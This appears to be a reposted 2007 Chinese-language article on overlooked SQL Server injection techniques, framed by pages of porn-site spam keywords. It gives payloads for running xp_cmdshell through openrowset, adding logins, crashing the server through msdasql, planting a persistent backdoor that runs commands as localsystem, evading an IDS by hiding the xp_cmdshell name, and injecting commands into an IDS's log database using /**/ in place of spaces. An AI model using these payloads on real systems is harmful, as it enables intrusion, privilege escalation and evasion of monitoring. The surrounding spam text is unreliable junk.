国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

一些容易被忽略的SQL注入技巧
2007-01-26   

下面我要談到一些Sqlserver新的Bug,雖然本人經過長時間的努力,當然也有點幸運的成分在內,才得以發現,不敢一個人獨享,拿出來請大家鑒別。

1.關于Openrowset和Opendatasource

可能這個技巧早有人已經會了,就是利用openrowset發送本地命令。通常我們的用法是(包括MSDN的列子)如下:

select * from openrowset('sqloledb','myserver';'sa';'','select * from
table')

可見(即使從字面意義上看)openrowset只是作為一個快捷的遠程數據庫訪問,它必須跟在select后面,也就是說需要返回一個recordset 。

那么我們能不能利用它調用xp_cmdshell呢?答案是肯定的!

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置,這樣xp_cmdshell返回的output集合就會提交給前面的select顯示,如果采用默認設置,會返回空集合導致select出錯,命令也就無法執行了。

那么如果我們要調用sp_addlogin呢,他不會像xp_cmdshell返回任何集合的,我們就不能再依靠fmtonly設置了,可以如下操作:

select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' 
exec master.dbo.sp_addlogin Hectic')
這樣,命令至少會返回select OK!'的集合,你的機器商會顯示OK!,同時對方的數據庫內也會增加一個Hectic的賬號,也就是說,我們利用select 'OK!'的返回集合欺騙了本地的select請求,是命令能夠正常執行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于這個方法真正的用處,大家慢慢想吧。

2.關于Msdasql兩次請求的問題

不知道大家有沒有試過用msdasql連接遠程數據庫,當然這個api必須是sqlserver的管理員才可以調用,那么如下:

select * from openrowset('msdasql','driver={sql 
server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
當table1和table2的字段數目不相同時,你會發現對方的sqlserver崩潰了,連本地連接都會失敗,而系統資源占用一切正常,用pskill殺死 sqlserver進程后,如果不重啟機器,sqlserver要么無法正常啟動,要么時常出現非法操作,我也只是碰巧找到這個bug的,具體原因我還沒有摸透,而且很奇怪的是這個現象只出現在msdasql上,sqloledb就沒有這個問題,看來問題不是在于請求集合數目和返回集合數目不匹配上,應該還是msdasql本身的問題,具體原因,大家一起慢慢研究吧。

3.可怕的后門

以前在網上看到有人說在 sqlserver上留后門可以通過添加triger、jobs或改寫sp_addlogin和sp_addsrvrolemember做到,這些方法當然可行,但是很容易會被發現。不知道大家有沒有想過sqloledb的本地連接映射。呵呵,比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令:

select * from openrowset('sqloledb','trusted_connection=yes;data 
source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
這樣在對方的 sqlserver上建立了一個名為Hectic的本地連接映射,只要sqlserver不重啟,這個映射會一直存在下去,至少我現在還不知道如何發現別人放置的連接映射,好了,以上的命令運行過后,你會發現哪怕是sqlserver沒有任何權限的guest用戶,運行以上這條命令也一樣能通過!而且權限是 localsystem!(默認安裝)呵呵!這個方法可以用來在以被入侵過獲得管理員權限的sqlserver上留下一個后門了。以上的方法在 sqlserver2000 sqlserver2000SP1上通過!

另外還有一個猜測,不知道大家有沒有注意過windows默認附帶的兩個dsn,一個是localserver一個是msqi,這兩個在建立的時候是本地管理員賬號連接sqlserver的,如果對方的 sqlserver是通過自定義的power user啟動,那么sa的權限就和power user一樣,很難有所大作為,但是我們通過如下的命令:

select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec 
master..xp_cmdshell ''dir c:\''')

應該可以利用localserver的管理員賬號連接本地sqlserver然后再以這個賬號的權限執行本地命令了,這是后我想應該能突破sa那個power user權限了?,F在的問題是sqloledb無法調用dsn連接,而msdasql非管理員不讓調用,所以我現在正在尋找guest調用msdasql 的方法。

如果有人知道這個bug如何突破,或有新的想法,我們可以一起討論一下,這個發放如果能成功被guest利用,將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行。

4.利用T-sql騙過Ids或攻擊Ids

現在的Ids已經變得越來越聰明了。有的ids加入了xp_cmdshell sp_addlogin 的監視,但是畢竟人工智能沒有出現的今天,這種監視總是有種騙人的感覺。

先說說欺騙Ids

Ids既然監視xp_cmdshell關鍵字,那么我們可以這么做:

declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'

這個代碼相信大家都能看明白,還有xp_cmdshell作為一個store procedure在master庫內有一個id號,固定的,我們也可以這么做:

假設這個id=988456

declare @a sysname select @a=name from sysobjects where id=988456 
exec @a 'dir c:\'

當然也可以:

declare @a sysname select @a=name from sysobjects where id=988455 1 
exec @a 'dir c:\'

這種做法排列組合,ids根本不可能做的到完全監視。同理,sp_addlogin也可以這么做。

再說說攻擊Ids

因為Ids數據量很大,日至通常備份到常規數據庫,比如sql server。

如果用古老的recordset.addnew做法,會嚴重影響ids的性能,因為通過ado做t-sql請求,不但效率高,而且有一部分工作可以交給sql server 去做,通常程序會這么寫:

insert table values ('日至內容',...)

那么我們想想看,如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后會變成:

insert table values ('日至內容'....'temp') exec xp_cmdshell 'dir 
c:\' -- ')

這樣,xp_cmdshell就可以在ids的數據庫運行了。當然ids是一個嗅嘆器,他會抓所有的報,而瀏覽器提交的時候會把空格變成 。因此, 會被提交到sql server,這樣你的命令就無法執行了。 唯一的辦法就是:

insert/**/table/**/values('日至內容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')

用/**/代替空格做間隔符,這樣你的t-sql才能在ids的數據庫內執行。當然也可以用其他語句,可以破壞,備份ids的數據庫到你的共享目錄。

其實這種方法的原理和攻擊asp是一樣的,只是把空格變成了/**/ 。本來asp是select語句,那么用'就可以屏蔽?,F在ids用insert語句,那么用')屏蔽。

好了,其他很多新的入侵語句大家可以自己慢慢想,最好的測試工具就是query analyzer了。


熱詞搜索:

上一篇:實用Linux用戶賬戶清潔和安全方法
下一篇:黑客知識之CC攻擊的思路及防范方法

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国产资源精品在线观看| 国产精品初高中害羞小美女文| 国产不卡视频在线播放| 亚洲国产sm捆绑调教视频 | 欧美国产97人人爽人人喊| 91超碰这里只有精品国产| 欧洲一区二区三区在线| 色欧美片视频在线观看| 91久久精品国产91性色tv| 欧美亚洲综合色| 欧美丰满嫩嫩电影| 日韩精品一区二区三区四区视频| 日韩欧美在线观看一区二区三区| 91精品免费在线| 久久精品水蜜桃av综合天堂| 国产精品视频你懂的| 亚洲午夜在线观看视频在线| 亚洲大片在线观看| 国产高清精品久久久久| 在线观看亚洲a| 精品国产一区二区在线观看| 国产精品嫩草影院com| 亚洲精品成人精品456| 免费视频最近日韩| 91亚洲精品一区二区乱码| 欧美日韩成人在线| 国产精品女主播av| 久久国产人妖系列| 欧美性感一类影片在线播放| 久久久精品中文字幕麻豆发布| 亚洲人被黑人高潮完整版| 精一区二区三区| 欧美性生活大片视频| 欧美激情一区三区| 久久99精品国产麻豆婷婷| 欧美日韩一区高清| 日韩理论在线观看| 成人avav在线| 日本一区二区不卡视频| 久久超碰97中文字幕| 欧美唯美清纯偷拍| 亚洲一区二区三区四区五区中文 | 精品国产乱码久久久久久蜜臀 | 欧美伦理影视网| 亚洲四区在线观看| 一本一本久久a久久精品综合麻豆| 久久在线观看免费| 精品无码三级在线观看视频| 欧美色网一区二区| 日韩不卡免费视频| 欧美日韩国产bt| 视频精品一区二区| 精品国产自在久精品国产| 久久99精品久久久| 国产清纯白嫩初高生在线观看91| 国产美女久久久久| 国产精品美女久久久久久2018 | 欧美激情综合五月色丁香小说| 久久精品国产精品亚洲综合| 精品人在线二区三区| 国产一区二区三区精品欧美日韩一区二区三区| 欧美性欧美巨大黑白大战| 午夜精品123| 国产午夜精品久久久久久免费视| 99精品视频一区二区三区| 91美女精品福利| 五月婷婷激情综合| 久久久久久久综合色一本| 国产欧美一区二区三区鸳鸯浴| 中文字幕欧美激情一区| 欧美日韩在线播放三区四区| 美女尤物国产一区| 一区二区三区中文字幕| 日韩欧美中文一区| 欧美在线看片a免费观看| 国产老女人精品毛片久久| 亚洲最新视频在线观看| 久久综合av免费| 一本大道av伊人久久综合| 97久久超碰精品国产| 26uuu另类欧美亚洲曰本| 免费在线观看成人| 一区二区理论电影在线观看| 久久日一线二线三线suv| 欧美一区二区三区视频免费播放| 成人自拍视频在线| 久久99精品久久久| 麻豆国产精品官网| 毛片一区二区三区| 日韩av一区二区三区| 日韩精品色哟哟| 日本欧美大码aⅴ在线播放| 亚洲国产人成综合网站| 一个色综合网站| 午夜影院在线观看欧美| 午夜精品久久一牛影视| 日韩国产欧美在线观看| 日韩二区在线观看| 国产专区欧美精品| 成人免费高清在线观看| 99国产精品视频免费观看| 色综合久久六月婷婷中文字幕| 成人黄色免费短视频| 91首页免费视频| 日韩你懂的在线观看| 精品国产91久久久久久久妲己| 国产三级一区二区三区| 亚洲天堂免费在线观看视频| 亚洲资源中文字幕| 九色综合国产一区二区三区| 国产精品996| 欧美日韩免费一区二区三区| 久久综合九色综合97婷婷| 亚洲天堂2016| 国产精品综合在线视频| 欧美四级电影网| 欧美国产综合一区二区| 亚洲国产综合在线| 国产99久久久久| 日韩一区二区精品在线观看| 国产日韩av一区| 青青国产91久久久久久| 一本色道**综合亚洲精品蜜桃冫| 欧美一级淫片007| 一区二区三区美女| 99久久国产综合精品麻豆| 欧美成人福利视频| 麻豆精品在线看| 91精品国产综合久久久久久久久久| 欧美国产一区在线| 国产suv一区二区三区88区| 日韩小视频在线观看专区| 亚洲午夜久久久| 欧美日韩在线播放三区| 亚洲 欧美综合在线网络| 欧美在线观看一二区| 一区二区三区高清在线| 91黄色在线观看| 午夜av区久久| 日韩一区二区免费电影| 久久 天天综合| 国产亚洲一区字幕| 粉嫩av亚洲一区二区图片| 国产欧美一区二区精品婷婷| 国产精品996| 亚洲一区二区精品视频| 91精品国产日韩91久久久久久| 亚洲一区二区av电影| 日韩欧美中文字幕精品| 欧美二区三区91| 韩国精品在线观看| 亚洲日本成人在线观看| 欧美日韩国产中文| 激情五月婷婷综合| 欧美国产精品一区二区| 在线视频欧美精品| 精品在线播放午夜| 亚洲欧洲av在线| 欧美一区二区黄| 91黄色小视频| 成人自拍视频在线| 久久99久久精品欧美| 亚洲欧洲国产日韩| 精品免费视频一区二区| 99国产麻豆精品| 国产福利91精品一区二区三区| 亚洲精品欧美专区| 欧美国产激情二区三区 | 91精品在线免费观看| a美女胸又www黄视频久久| 蜜臀av一区二区在线免费观看| 国产精品久久二区二区| 精品国产精品网麻豆系列| 91国产免费观看| 91女人视频在线观看| 国产精品18久久久久久久久| 五月天亚洲婷婷| 三级在线观看一区二区| 日日骚欧美日韩| 日本vs亚洲vs韩国一区三区二区| 亚洲最大成人综合| 亚洲免费三区一区二区| 亚洲少妇中出一区| 亚洲精品免费在线观看| 18欧美乱大交hd1984| 洋洋成人永久网站入口| 亚洲一二三四在线| 日本欧美一区二区三区| 韩国一区二区在线观看| 国产一区二区按摩在线观看| 国产成人精品免费一区二区| 欧美色视频在线| 91黄色小视频| 精品理论电影在线| 亚洲女人****多毛耸耸8| 精品盗摄一区二区三区| 中文字幕亚洲在| 另类小说图片综合网| 成人综合在线观看| 欧美日韩国产bt|